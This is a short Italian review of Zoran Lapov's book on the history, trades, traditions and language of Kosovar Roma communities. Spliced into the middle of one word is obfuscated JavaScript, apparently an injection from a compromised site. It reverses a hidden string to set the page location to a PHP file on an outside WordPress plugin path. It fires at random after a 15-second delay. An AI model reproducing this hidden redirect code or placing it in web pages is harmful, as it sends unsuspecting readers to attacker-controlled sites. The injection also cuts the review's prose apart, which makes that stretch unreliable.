I Rom visti dai Rom

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“Io ho fatto una vita difficile, piena di problemi, piena di fallimenti […] non posso permettere che i miei figli ripercorrano la mia strada […] loro devono uscire da tali condizioni e vivere come si deve, degnamente, che significa inserirsi, ma senza dimenticare chi sono, senza perdere la loro cultura, la nostra cultura”.
Questo è il cuore del libro di Zoran Lapov che ricostruisce i percorsi delle comunità rom – in particolare dei rom kossovari – a partire dagli aspetti storici e identitari più forti: i mestieri, tra cui la musica, i riti e le tradizioni, l’appartenenza familiare e del gruppo (da cui il plurale del titolo), ma soprattutto la lingua.
Il libro raccoglie numerose e toccanti testimonianze dirette sulle storie personali e familiari dei protagonisti cre (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando un dialogo col lettore capace di aiutarlo a decostruire gli stereotipi più diffusi.

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